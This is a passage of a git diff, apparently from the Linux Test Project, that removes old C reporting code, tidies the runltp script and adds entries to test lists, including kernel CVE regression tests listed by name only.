-{
-	register struct sym *se, *nse;	/* symbol entry */
-
-	if (sym == NULL)
-		return 0;
-
-	if (sym->magic != SYM_MAGIC) {
-		if (!(flags & RM_DATA))
-			free(sym);
-		return 0;
-	}
-
-	for (se = sym->sym; se != NULL;) {
-		sym_rm((SYM) se->data, flags);
-		nse = se->next;
-		if (flags & RM_KEY)
-			free(se->key);
-		if (flags & RM_DATA)
-			free(se->data);
-		free(se);
-		se = nse;
-	}
-	if (!(flags & RM_DATA))
-		free(sym);
-	return 0;
-}
diff --git a/pan/symbol.h b/pan/symbol.h
deleted file mode 100644
index 7b2d035..0000000
--- a/pan/symbol.h
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: symbol.h,v 1.1 2000/09/21 21:35:06 alaffin Exp $ */
-#ifndef _SYMBOL_H_
-#define _SYMBOL_H_
-
-/*
- *	"Generic" Symbol Table
- *
- *  These data structures are the internal part of a library providing
- *  an in-memory dbm-like (key, content) database with hierarchical
- *  key names.
- */
-struct sym {
-    struct sym *next;
-    char       *key;
-    void       *data;
-};
-
-/*
- * Symbol Table Header
- */
-struct symh {
-    int         magic;
-    struct sym *sym;
-    struct sym *cursor;
-};
-
-/*
- * The "SYM" typedef is the only external data type.
- */
-typedef struct symh *SYM;
-
-/*
- * Data for keys and contents (lifted from dbopen(3))
- * dbopen(3) uses this for all functions, but I'm hard-wired into chars
- * for keys and the like; I just need this for sym_get
- */
-typedef struct {
-    void *data;
-    int   size;
-} DBT;
-
-/*
- * Prototypes
- */
-
-SYM   sym_open(int flags, int mode,  int openinfo          );
-int   sym_put (SYM sym,   char *key, void *data, int flags );
-void *sym_get (SYM sym,   char *key                        );
-int   sym_seq (SYM sym,   DBT *key,  DBT *data, int flags  );
-int   sym_rm  (SYM sym,   int flags                        );
-
-/*
- * Flags for sym_put
- */
-#define PUT_REPLACE	1	/* replace data on a put */
-
-/*
- * Flags for sym_rm
- */
-#define	RM_KEY	001		/* free() on key pointer */
-#define	RM_DATA	002		/* free() on data pointer */
-
-/*
- * Flags for sym_seq (clones of 44BSD dbopen(3))
- */
-#define	R_CURSOR	1	/* set "cursor" to where "data" key is */
-#define R_FIRST		2	/* set "cursor" to first item */
-#define	R_NEXT		4	/* set "cursor" to next item */
-#define	R_LAST		3	/* set "cursor" to last item (UNIMP) */
-#define	R_PREV		5	/* set "cursor" to previous item (UNIMP) */
-
-#endif
diff --git a/pan/tag_report.c b/pan/tag_report.c
deleted file mode 100644
index eb8fb3d..0000000
--- a/pan/tag_report.c
+++ /dev/null
@@ -1,478 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- *
- */
-/* $Id: tag_report.c,v 1.2 2006/12/13 22:55:22 vapier Exp $ */
-#include "tag_report.h"
-#include "debug.h"
-#include "reporter.h"
-#include "splitstr.h"
-
-static char *worst_case(char *, char *);
-
-/************************************************************************
- *			Report Generation				*
- ************************************************************************/
-
-/*
- * printf format statement for standard reports
- * 5 fields with max/min widths
- */
-#define FORMAT "%-20.20s %-15.15s %10.10s %-20.20s %s\n"
-
-/*
- *  This is the central results reporting function.  All standard report
- *  format results are printed thru test_result.
- */
-int test_result(char *tag, char *tcid, char *tc, char *result, SYM tags)
-{
-	char *expert, expkey[KEYSIZE];
-	register char *c;
-	char **cont;
-	const char **cont_save;
-
-	if (tcid == NULL)
-		tcid = "-";
-	if (tc == NULL)
-		tc = "-";
-	if (tag == NULL)
-		tag = "test_result: no tag";
-	if (result == NULL)
-		result = "(RESULT IS NULL)";
-
-	strcpy(expkey, "contacts");
-	/* note: the sym_get here does _not_ change the "cursor" */
-	if ((expert = (char *)sym_get(tags, expkey)) == NULL) {
-		expert = "UNKNOWN";
-	}
-
-	/* ' tr " " "_" ' */
-	for (c = result; *c; c++) {
-		if (*c == ' ') {
-			*c = '_';
-		}
-	}
-	if (*result == '\0')
-		result = "?";
-
-	/* split contacts on "," and print out a line for each */
-	cont_save = splitstr(expert, ",", NULL);
-	for (cont = (char **)cont_save; *cont != NULL; cont++) {
-		printf(FORMAT, tag, tcid, tc, result, *cont);
-	}
-	splitstr_free(cont_save);
-
-	return 0;
-}
-
-/*
- * CUTS test reporting.
- *
- *  (1) make a list (2d char array) of all TCIDs (see above for why)
- *  (2) look thru the list:
- *	(a) keep track of the "worst case" in this *TAG*
- *	(b) report each testcase's results
- *	(c) if the testcase number is != 0, count it
- *  (3) report tag's results
- *  (4) check the number of expected results with the actual results,
- *	report an error if they don't match.
- */
-
-int cuts_report(SYM tags, SYM keys, char *at, char *tag)
-{
-	DBT Key, Data;
-
-	/* analysis type: count of CUTS test cases */
-	const char **ant;
-	char *dat;		/* strdup(at) */
-	int tccount;		/* expected count of testcases */
-	int tcnum;		/* seen count of testcases */
-
-	/* a list of tcids */
-	char **taglist, **tl;
-	int ntags, tagcount;
-
-	char key_get[255];
-
-	char *result = "", *worst_case();	/* overall result */
-
-	/* parse analysis type: cuts:tc-count */
-	ant = splitstr((dat = strdup(at)), ":", NULL);
-	if (ant[1] != NULL)
-		tccount = atoi(ant[1]);
-	else
-		tccount = 0;
-	free(dat);
-	splitstr_free(ant);
-
-	/* extract tcids */
-	ntags = NTCID_START;
-	taglist = (char **)malloc(sizeof(char *) * ntags);
-	tagcount = 0;
-
-	tl = taglist;
-	sym_seq(tags, &Key, &Data, R_FIRST);
-	do {
-		if (tagcount == ntags) {
-			/* exceeded tag array size -- realloc */
-			ntags += NTCID_START;
-			taglist =
-			    (char **)realloc(taglist, sizeof(char *) * ntags);
-			tl = taglist + tagcount;
-		}
-
-		if (strcmp((char *)Key.data, "_keys") == 0)
-			continue;
-		DEBUG(D_REPORT, 10)
-		    printf("cuts_report: tcid %s\n", (char *)Key.data);
-		*tl++ = Key.data;
-		tagcount++;
-	} while (sym_seq(tags, &Key, &Data, R_NEXT) == 0);
-
-	if (tagcount == ntags) {
-		/* exceeded tag array size -- realloc */
-		ntags++;	/* need just one more */
-		taglist = (char **)realloc(taglist, sizeof(char *) * ntags);
-		tl = taglist + tagcount;
-	}
-
-	*tl++ = NULL;
-
-	ntags = tagcount;
-
-	/* dump all found records */
-	tcnum = 0;
-	for (tl = taglist; *tl != NULL; tl++) {
-
-		strcpy(key_get, *tl);
-		Key.data = (void *)key_get;
-
-		/*sym_dump_s(sym_get(tags, key_get), 0); */
-
-		sym_seq(tags, &Key, &Data, R_CURSOR);
-		do {
-			DEBUG(D_REPORT, 10)
-			    printf("cuts_report: tc %s = %s\n",
-				   (char *)Key.data, (char *)Data.data);
-			result = worst_case(result, (char *)Data.data);
-			test_result(tag, *tl, (char *)Key.data,
-				    (char *)Data.data, keys);
-			if (atoi((char *)Key.data))
-				tcnum++;
-		} while (sym_seq(tags, &Key, &Data, R_NEXT) == 0);
-	}
-
-	test_result(tag, "*", "*", result, keys);
-
-	if (tccount != 0 && tccount != tcnum)
-		test_result(tag, "-", "-", "TC count wrong", keys);
-
-	free(taglist);
-
-	return 0;
-}
-
-/*
- * Do the report generation.
- *
- * A problem: I really need multiple cursors.  I'd rather not look into
- * the depths of the current symbol table implimentation (there are the
- * cursors there that I could use) so that a different (faster!) symbol
- * table can be used in the future.
- *
- * I could get a key (tag), get it's sub-keys (TCIDs), then get the key
- * again to reset to the top level, _then_ get the next key.  That would
- * be very inefficient.
- *
- * The solution I chose is to extract all tags into a list (char array),
- * then go thru that list with the cursor free for other levels to use.
- *
- *  (1) make a list (2d char array) of all Tags
- *  (2) search for the first tag that has a "stime" record, and use that as
- *      the date (MMDDYY) that the tests were run.
- *  (3) print the report header
- *  (4) go thru all tags and report each as described at the beginning of
- *      this file
- */
-int tag_report(SYM alltags, SYM ctag, SYM keys)
-{
-
-	extern int extended;
-
-	char key_get[KEYSIZE];
-	char *info;
-
-	/* retrieved _keys values: initation status, start time, duration,
-	 * termination type, termination id, start line, end line.          */
-	char *tag, *contact, *is, *mystime, *duration, *tt, *ti, *sl, *el;
-
-	/* Check all driver-level status first */
-	strcpy(key_get, "tag");
-	if ((tag = (char *)sym_get(keys, key_get)) == NULL) {
-		return -1;
-	}
-
-	/* Check all driver-level status first */
-	strcpy(key_get, "initiation_status");
-	if ((is = (char *)sym_get(keys, key_get)) == NULL) {
-		test_result(tag, NULL, NULL, "no init status", keys);
-		return -1;
-	}
-
-	if (strcmp(is, "ok")) {
-		test_result(tag, NULL, NULL, is, keys);
-	} else {
-
-		strcpy(key_get, "corefile");
-		if ((info = (char *)sym_get(keys, key_get)) != NULL)
-			if (strcmp(info, "no") != 0) {
-				test_result(tag, NULL, NULL, "coredump", keys);
-			}
-
-		strcpy(key_get, "termination_type");
-		if ((tt = (char *)sym_get(keys, key_get)) == NULL) {
-			test_result(tag, NULL, NULL, "no Term Type", keys);
-			return -1;
-		}
-
-		if (strcmp(tt, "exited")) {
-			test_result(tag, NULL, NULL, tt, keys);
-		}
-
-		strcpy(key_get, "analysis");
-		if ((info = (char *)sym_get(keys, key_get)) == NULL) {
-			test_result(tag, NULL, NULL, "no Analysis Type", keys);
-			return -1;
-		}
-
-		/* Getting here indicates that there were no fatal driver-level
-		 * errors.  Do the kind of reporting requested by the test.
-		 */
-
-		if (strncmp(info, "none", 4) == 0) {
-			/*
-			 * If analysis is 'none', alway report the test as
-			 * a pass regardless of output or exit status.
-			 */
-			test_result(tag, NULL, NULL, "pass", keys);
-
-		} else if (strncmp(info, "cuts", 4)) {
-
-			/*
-			 * If analysis is not cuts, assume it is 'exit', thus
-			 * the termination_id is used to determine pass/fail result.
-			 */
-			if (strcmp(tt, "timeout")) {
-				strcpy(key_get, "termination_id");
-				if ((info =
-				     (char *)sym_get(keys, key_get)) == NULL) {
-					test_result(tag, NULL, NULL,
-						    "no_Term_Id", keys);
-				} else {
-					if (strcmp(info, "0")) {
-						test_result(tag, NULL, NULL,
-							    "fail", keys);
-					} else {
-						test_result(tag, NULL, NULL,
-							    "pass", keys);
-					}
-				}
-			}
-		} else {
-			cuts_report(ctag, keys, info, tag);
-		}
-	}
-
-	/*
-	 * Extended Format:
-	 *  - tcid+tc = "!"
-	 *  - tab separated fields
-	 *  - no field widths
-	 *  - fields 6 - ~ are:
-	 *  start-time (time_t)
-	 *  duration
-	 *  termination_id
-	 *  termination_type
-	 *  Start Line (of test results in output file)
-	 *  End Line
-	 */
-
-	if (extended) {
-
-		strcpy(key_get, "termination_id");
-		if ((ti = (char *)sym_get(keys, key_get)) == NULL) {
-			ti = "No_Termination_ID";
-		}
-
-		strcpy(key_get, "termination_type");
-		if ((tt = (char *)sym_get(keys, key_get)) == NULL) {
-			tt = "No_Termination_Type";
-		}
-
-		strcpy(key_get, "duration");
-		if ((duration = (char *)sym_get(keys, key_get)) == NULL) {
-			duration = "No_Duration";
-		}
-
-		strcpy(key_get, "_Start_line");
-		if ((sl = (char *)sym_get(keys, key_get)) == NULL) {
-			sl = "No_Start_line";
-		}
-
-		strcpy(key_get, "_End_line");
-		if ((el = (char *)sym_get(keys, key_get)) == NULL) {
-			el = "No_End_line";
-		}
-
-		strcpy(key_get, "contacts");
-		if ((contact = (char *)sym_get(keys, key_get)) == NULL) {
-			contact = "No_Contacts";
-		}
-
-		strcpy(key_get, "stime");
-		if ((mystime = (char *)sym_get(keys, key_get)) == NULL) {
-			mystime = "No_stime";
-		}
-
-		printf("%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
-		       tag, "!", "!", is, contact, mystime, duration,
-		       ti, tt, sl, el);
-	}
-
-	return 0;
-}
-
-/*
- *  Print a header made up of the RTS keywords
- *  In "extended" mode, print the header to stderr.
- */
-int print_header(SYM tags)
-{
-	DBT Key, Data;
-	char key_get[255];
-
-	FILE *out;
-
-	extern int extended;
-
-	if (extended)
-		out = stderr;
-	else
-		out = stdout;
-
-	fprintf(out, "System Configuration:\n");
-	/* build header out of RTS keywords */
-	sprintf(key_get, "_RTS");
-	Key.data = (void *)key_get;
-	if (sym_seq(tags, &Key, &Data, R_CURSOR) == 0) {
-		do {
-			if (strcmp((char *)Key.data, "PATH") == 0)
-				continue;
-			fprintf(out, "%-20.20s %s\n", (char *)Key.data,
-				(char *)Data.data);
-		} while (sym_seq(tags, &Key, &Data, R_NEXT) == 0);
-	}
-
-	fprintf(out, "\n");
-	fprintf(out, FORMAT, "tag", "tcid", "testcase", "status", "contact");
-	fprintf(out,
-		"-------------------------------------------------------------------------------\n");
-
-	return 0;
-}
-
-/*
- * CUTS testcase record
- *
- * This is passed s SYM for the current tag and the initiation keys.
- * The text seen by lex is in yytext (global).
- */
-int cuts_testcase(SYM tag, SYM keys)
-{
-	char *cuts_info[6];
-	char key[KEYSIZE];
-	char *oldresult, *newresult, *worst_case();
-	int tok_num = 0;
-	extern char yytext[];
-
-	cuts_info[tok_num] = strtok(yytext, "\t ");
-	while (tok_num < 5 &&
-	       (cuts_info[++tok_num] = strtok(NULL, "\t ")) != NULL) ;
-
-	strcpy(key, cuts_info[0]);
-	strcat(key, ",");
-	strcat(key, cuts_info[1]);
-
-#ifdef DEBUGGING
-	DEBUG(D_SCAN_CUTS, 1) {
-		printf("cuts_testcase: TCID=%s TC=%s Result=%s\n", cuts_info[0],
-		       cuts_info[1], cuts_info[2]);
-		printf("cuts_testcase: %d %s\n", tok_num, key);
-	}
-#endif
-
-	if ((oldresult = (char *)sym_get(tag, key)) != NULL) {
-		/* Duplicate -- assume mulitple runs */
-		/* keep "worst case" */
-		newresult = worst_case(oldresult, cuts_info[2]);
-		sym_put(tag, key, strdup(newresult), PUT_REPLACE);
-		free(oldresult);	/* remove the "data" portion of the key */
-	} else {
-		sym_put(tag, key, strdup(cuts_info[2]), 0);
-	}
-	return 0;
-}
-
-/*
- * Determine a "worst case" status from two given statuses.
- */
-static char *worst_case(char *t1, char *t2)
-{
-	/* NULL-terminated table, ordered from worst-case to best-case */
-	static char *worst[] = {
-		"FAIL", "BROK", "PASS", "CONF",
-		"WARN", "INFO", NULL,
-	};
-
-	char **w1, **w2;
-
-	/* Search the table for each status, then use the index to determine
-	   which has a lower precedence */
-	for (w1 = worst; *w1 != NULL && strcmp(t1, *w1); w1++) ;
-
-	for (w2 = worst; *w2 != NULL && strcmp(t2, *w2); w2++) ;
-
-	if (w1 < w2)
-		return (t1);
-	else
-		return (t2);
-
-}
diff --git a/runltp b/runltp
index 7cd0c15..94c4c9b 100755
--- a/runltp
+++ b/runltp
@@ -122,7 +122,7 @@
     -T TCONFCMDFILE Command file with all test cases that are not fully tested.
     -d TMPDIR       Directory where temporary files will be created.
     -D NUM_PROCS,NUM_FILES,NUM_BYTES,CLEAN_FLAG
-                    Run LTP under additional background Load on Secondary Storage (Seperate by comma)
+                    Run LTP under additional background Load on Secondary Storage (separated by comma)
                     [NUM_PROCS   = no. of processes creating Storage Load by spinning over write()]
                     [NUM_FILES   = Write() to these many files (Defaults to 1 when value 0 or undefined)]
                     [NUM_BYTES   = write these many bytes (defaults to 1GB, when value 0 or undefined)]
@@ -138,7 +138,7 @@
 			Log Kernel messages generated for each test cases inside this directory
     -l LOGFILE      Log results of test in a logfile.
     -m NUM_PROCS,CHUNKS,BYTES,HANGUP_FLAG
-                    Run LTP under additional background Load on Main memory (Seperate by comma)
+                    Run LTP under additional background Load on Main memory (separated by comma)
                     [NUM_PROCS   = no. of processes creating main Memory Load by spinning over malloc()]
                     [CHUNKS      = malloc these many chunks (default is 1 when value 0 or undefined)]
                     [BYTES       = malloc CHUNKS of BYTES bytes (default is 256MB when value 0 or undefined) ]
@@ -300,11 +300,11 @@
             version_of_ltp
 	    ;;
         f)  # Execute user defined set of testcases.
-            # Can be more then one file, just separate it with ',', like:
+            # Can be more than one file, just separate it with ',', like:
             # -f nfs,commands,/tmp/testfile
             CMDFILES=$OPTARG;;
 	F)	INJECT_KERNEL_FAULT=1
-		#Seperate out the NO_OF_LOOPS & FAULT_PERCENTAGE
+		# Separate out the NO_OF_LOOPS & FAULT_PERCENTAGE
 		INJECT_FAULT_LOOPS_PER_TEST=`echo $OPTARG |cut -d',' -f1 | tr -d '\n' | tr -d ' '`
 		INJECT_KERNEL_FAULT_PERCENTAGE=`echo $OPTARG |cut -d',' -f2 | tr -d '\n' | tr -d ' '`
 		if [ ! $INJECT_FAULT_LOOPS_PER_TEST ]; then
@@ -502,10 +502,6 @@
           OUTPUTFILE_NAME="$DEFAULT_FILE_NAME_GENERATION_TIME"
           OUTPUTFILE="-o $LTPROOT/output/LTP_RUN_ON-$OUTPUTFILE_NAME.output"
           ALT_DIR_OUT=1
-          if [ ! "$HTMLFILE" ] ; then                        ## User has not mentioned HTML File name, We need to create one
-             HTMLFILE_NAME=`basename $OUTPUTFILE_NAME`
-             HTMLFILE="$LTPROOT/output/$HTMLFILE_NAME.html"
-          fi
        fi
     fi
 
@@ -522,16 +518,17 @@
             }
         }
     }
+
     # If we need, create the results directory
     [ "$ALT_DIR_RES" -eq 1 ] && \
     {
-        echo "INFO: creating $LTPROOT/results directory"
         [ ! -d $LTPROOT/results ] && \
         {
-           mkdir -p $LTPROOT/results || \
-           {
-               echo "ERROR: failed to create $LTPROOT/results"
-               exit 1
+            echo "INFO: creating $LTPROOT/results directory"
+            mkdir -p $LTPROOT/results || \
+            {
+                echo "ERROR: failed to create $LTPROOT/results"
+                exit 1
             }
         }
     }
@@ -759,7 +756,7 @@
 			fi
 		done
 		if $use_faultinjection; then
-			#If atleast one of the Framework is available
+			#If at least one of the Framework is available
 			#Go ahead to Inject Fault & Create required
 			#Command Files for LTP run
 			echo Running tests with Fault Injection Enabled in the Kernel...
@@ -840,12 +837,12 @@
        export LTP_VERSION=$version_date
        export TEST_START_TIME="$test_start_time"
        export TEST_END_TIME="$(date)"
-       OUTPUT_DIRECTORY=`echo $OUTPUTFILE | cut -c4-`
+       OUTPUT_FILE=`echo $OUTPUTFILE | cut -c4-`
        LOGS_DIRECTORY="$LTPROOT/results"
        export TEST_OUTPUT_DIRECTORY="$LTPROOT/output"
        export TEST_LOGS_DIRECTORY=$LOGS_DIRECTORY
        echo "Generating HTML Output.....!!"
-       ( perl $LTPROOT/bin/genhtml.pl $LTPROOT/bin/html_report_header.txt test_start test_end test_output execution_status $OUTPUT_DIRECTORY  > $HTMLFILE; )
+       ( perl $LTPROOT/bin/genhtml.pl $LTPROOT/bin/html_report_header.txt test_start test_end test_output execution_status $OUTPUT_FILE  > $HTMLFILE; )
        echo "Generated HTML Output.....!!"
        echo "Location: $HTMLFILE";
 
diff --git a/runtest/can b/runtest/can
index b637183..23cbf9a 100644
--- a/runtest/can
+++ b/runtest/can
@@ -1,2 +1,3 @@
 can_filter can_filter
 can_rcv_own_msgs can_rcv_own_msgs
+can_bcm01 can_bcm01
diff --git a/runtest/commands b/runtest/commands
index 8cfad04..5ec2c3b 100644
--- a/runtest/commands
+++ b/runtest/commands
@@ -14,13 +14,7 @@
 mkdir01_sh mkdir_tests.sh
 mv01_sh mv_tests.sh
 du01_sh du01.sh
-df01_ext2_sh df01.sh -f ext2
-df01_ext3_sh df01.sh -f ext3
-df01_ext4_sh df01.sh -f ext4
-df01_xfs_sh df01.sh -f xfs
-df01_vfat_sh df01.sh -f vfat
-df01_exfat_sh df01.sh -f exfat
-df01_ntfs_sh df01.sh -f ntfs
+df01_sh df01.sh
 mkfs01_sh mkfs01.sh
 mkfs01_ext2_sh mkfs01.sh -f ext2
 mkfs01_ext3_sh mkfs01.sh -f ext3
diff --git a/runtest/containers b/runtest/containers
index 2760967..2637b62 100644
--- a/runtest/containers
+++ b/runtest/containers
@@ -25,41 +25,41 @@
 mqns_04_clone mqns_04 -clone
 
 netns_netlink netns_netlink
-netns_breakns_ns_exec_ipv4_netlink netns_breakns.sh ns_exec ipv4 netlink
-netns_breakns_ns_exec_ipv6_netlink netns_breakns.sh ns_exec ipv6 netlink
-netns_breakns_ns_exec_ipv4_ioctl netns_breakns.sh ns_exec ipv4 ioctl
-netns_breakns_ns_exec_ipv6_ioctl netns_breakns.sh ns_exec ipv6 ioctl
-netns_breakns_ip_ipv4_netlink netns_breakns.sh ip ipv4 netlink
-netns_breakns_ip_ipv6_netlink netns_breakns.sh ip ipv6 netlink
-netns_breakns_ip_ipv4_ioctl netns_breakns.sh ip ipv4 ioctl
-netns_breakns_ip_ipv6_ioctl netns_breakns.sh ip ipv6 ioctl
-netns_comm_ns_exec_ipv4_netlink netns_comm.sh ns_exec ipv4 netlink
-netns_comm_ns_exec_ipv6_netlink netns_comm.sh ns_exec ipv6 netlink
-netns_comm_ns_exec_ipv4_ioctl netns_comm.sh ns_exec ipv4 ioctl
-netns_comm_ns_exec_ipv6_ioctl netns_comm.sh ns_exec ipv6 ioctl
-netns_comm_ip_ipv4_netlink netns_comm.sh ip ipv4 netlink
-netns_comm_ip_ipv6_netlink netns_comm.sh ip ipv6 netlink
-netns_comm_ip_ipv4_ioctl netns_comm.sh ip ipv4 ioctl
-netns_comm_ip_ipv6_ioctl netns_comm.sh ip ipv6 ioctl
+netns_breakns_ip_ipv4_netlink netns_breakns.sh
+netns_breakns_ip_ipv6_netlink netns_breakns.sh -6
+netns_breakns_ip_ipv4_ioctl netns_breakns.sh -I
+netns_breakns_ip_ipv6_ioctl netns_breakns.sh -6I
+netns_breakns_ns_exec_ipv4_netlink netns_breakns.sh -e
+netns_breakns_ns_exec_ipv6_netlink netns_breakns.sh -6e
+netns_breakns_ns_exec_ipv4_ioctl netns_breakns.sh -eI
+netns_breakns_ns_exec_ipv6_ioctl netns_breakns.sh -6eI
+netns_comm_ip_ipv4_netlink netns_comm.sh
+netns_comm_ip_ipv6_netlink netns_comm.sh -6
+netns_comm_ip_ipv4_ioctl netns_comm.sh -I
+netns_comm_ip_ipv6_ioctl netns_comm.sh -6I
+netns_comm_ns_exec_ipv4_netlink netns_comm.sh -e
+netns_comm_ns_exec_ipv6_netlink netns_comm.sh -6e
+netns_comm_ns_exec_ipv4_ioctl netns_comm.sh -eI
+netns_comm_ns_exec_ipv6_ioctl netns_comm.sh -6eI
 netns_sysfs netns_sysfs.sh
 
-shmnstest_none shmnstest none
-shmnstest_clone shmnstest clone
-shmnstest_unshare shmnstest unshare
-shmem_2nstest_none shmem_2nstest none
-shmem_2nstest_clone shmem_2nstest clone
-shmem_2nstest_unshare shmem_2nstest unshare
+shmnstest_none shmnstest -m none
+shmnstest_clone shmnstest -m clone
+shmnstest_unshare shmnstest -m unshare
+shmem_2nstest_none shmem_2nstest -m none
+shmem_2nstest_clone shmem_2nstest -m clone
+shmem_2nstest_unshare shmem_2nstest -m unshare
 shm_comm shm_comm
-mesgq_nstest_none mesgq_nstest none
-mesgq_nstest_clone mesgq_nstest clone
-mesgq_nstest_unshare mesgq_nstest unshare
+mesgq_nstest_none mesgq_nstest -m none
+mesgq_nstest_clone mesgq_nstest -m clone
+mesgq_nstest_unshare mesgq_nstest -m unshare
 msg_comm msg_comm
-sem_nstest_none sem_nstest none
-sem_nstest_clone sem_nstest clone
-sem_nstest_unshare sem_nstest unshare
-semtest_2ns_none semtest_2ns none
-semtest_2ns_clone semtest_2ns clone
-semtest_2ns_unshare semtest_2ns unshare
+sem_nstest_none sem_nstest -m none
+sem_nstest_clone sem_nstest -m clone
+sem_nstest_unshare sem_nstest -m unshare
+semtest_2ns_none semtest_2ns -m none
+semtest_2ns_clone semtest_2ns -m clone
+semtest_2ns_unshare semtest_2ns -m unshare
 sem_comm sem_comm
 
 utstest_unshare_1 utstest unshare 1
@@ -85,6 +85,7 @@
 userns05 userns05
 userns06 userns06
 userns07 userns07
+userns08 userns08
 
 # time namespaces
 sysinfo03 sysinfo03
diff --git a/runtest/controllers b/runtest/controllers
index e3d0243..41f8367 100644
--- a/runtest/controllers
+++ b/runtest/controllers
@@ -1,4 +1,5 @@
 #DESCRIPTION:Resource Management testing
+cgroup_core01	cgroup_core01
 cgroup		cgroup_regression_test.sh
 memcg_regression	memcg_regression_test.sh
 memcg_test_3	memcg_test_3
@@ -16,6 +17,12 @@
 memcg_stress		memcg_stress_test.sh
 memcg_control		memcg_control_test.sh
 
+# kselftest ports
+memcontrol01 memcontrol01
+memcontrol02 memcontrol02
+memcontrol03 memcontrol03
+memcontrol04 memcontrol04
+
 cgroup_fj_function_debug cgroup_fj_function.sh debug
 cgroup_fj_function_cpuset cgroup_fj_function.sh cpuset
 cgroup_fj_function_cpu cgroup_fj_function.sh cpu
@@ -354,6 +361,9 @@
 
 cgroup_xattr	cgroup_xattr
 
+# V2 IO controller (was blkio)
+io_control01 io_control01
+
 pids_1_1 pids.sh 1 1 0
 pids_1_2 pids.sh 1 2 0
 pids_1_10 pids.sh 1 10 0
diff --git a/runtest/cve b/runtest/cve
index 3beb88b..9ab6dc2 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -22,6 +22,7 @@
 cve-2017-6951 request_key05
 cve-2017-7308 setsockopt02
 cve-2017-7472 keyctl04
+cve-2017-7616 set_mempolicy05
 cve-2017-10661 timerfd_settime02
 cve-2017-12192 keyctl07
 cve-2017-12193 add_key04
@@ -49,16 +50,28 @@
 cve-2018-7566 snd_seq01
 cve-2018-8897 ptrace09
 cve-2018-9568 connect02
+cve-2018-10124 kill13
 cve-2018-1000001 realpath01
 cve-2018-1000199 ptrace08
 cve-2018-1000204 ioctl_sg01
 cve-2018-12896 timer_settime03
+cve-2018-13405 creat09
 cve-2018-18445 bpf_prog04
 cve-2018-18559 bind06
+cve-2018-18955 userns08
 cve-2018-19854 crypto_user01
 cve-2019-8912 af_alg07
 cve-2020-11494 pty04
 cve-2020-14386 sendto03
 cve-2020-14416 pty03
+cve-2020-25705 icmp_rate_limit01
 cve-2020-29373 io_uring02
 cve-2021-3444 bpf_prog05
+cve-2021-3609 can_bcm01
+cve-2021-4034 execve06
+cve-2021-22555 setsockopt08 -i 100
+cve-2021-26708 vsock01
+cve-2021-22600 setsockopt09
+cve-2022-0847 dirtypipe
+# Tests below may cause kernel memory leak
+cve-2020-25704 perf_event_open03
diff --git a/runtest/fs b/runtest/fs
index 17b1415..1d753e0 100644
--- a/runtest/fs
+++ b/runtest/fs
@@ -85,3 +85,5 @@
 
 binfmt_misc01 binfmt_misc01.sh
 binfmt_misc02 binfmt_misc02.sh
+
+squashfs01 squashfs01
diff --git a/runtest/fs_bind b/runtest/fs_bind
index 549d700..61b3e76 100644
--- a/runtest/fs_bind
+++ b/runtest/fs_bind
@@ -1,2 +1,105 @@
 #DESCRIPTION:Bind mounts and shared subtrees
-BindMounts	$LTPROOT/testscripts/test_fs_bind.sh
+
+fs_bind01_sh   fs_bind01.sh
+fs_bind02_sh   fs_bind02.sh
+fs_bind03_sh   fs_bind03.sh
+fs_bind04_sh   fs_bind04.sh
+fs_bind05_sh   fs_bind05.sh
+fs_bind06_sh   fs_bind06.sh
+fs_bind07_sh   fs_bind07.sh
+fs_bind07-2_sh   fs_bind07-2.sh
+fs_bind08_sh   fs_bind08.sh
+fs_bind09_sh   fs_bind09.sh
+fs_bind10_sh   fs_bind10.sh
+fs_bind11_sh   fs_bind11.sh
+fs_bind12_sh   fs_bind12.sh
+fs_bind13_sh   fs_bind13.sh
+fs_bind14_sh   fs_bind14.sh
+fs_bind15_sh   fs_bind15.sh
+fs_bind16_sh   fs_bind16.sh
+fs_bind17_sh   fs_bind17.sh
+fs_bind18_sh   fs_bind18.sh
+fs_bind19_sh   fs_bind19.sh
+fs_bind20_sh   fs_bind20.sh
+fs_bind21_sh   fs_bind21.sh
+fs_bind22_sh   fs_bind22.sh
+fs_bind23_sh   fs_bind23.sh
+fs_bind24_sh   fs_bind24.sh
+
+
+fs_bind_move01_sh fs_bind_move01.sh
+fs_bind_move02_sh fs_bind_move02.sh
+fs_bind_move03_sh fs_bind_move03.sh
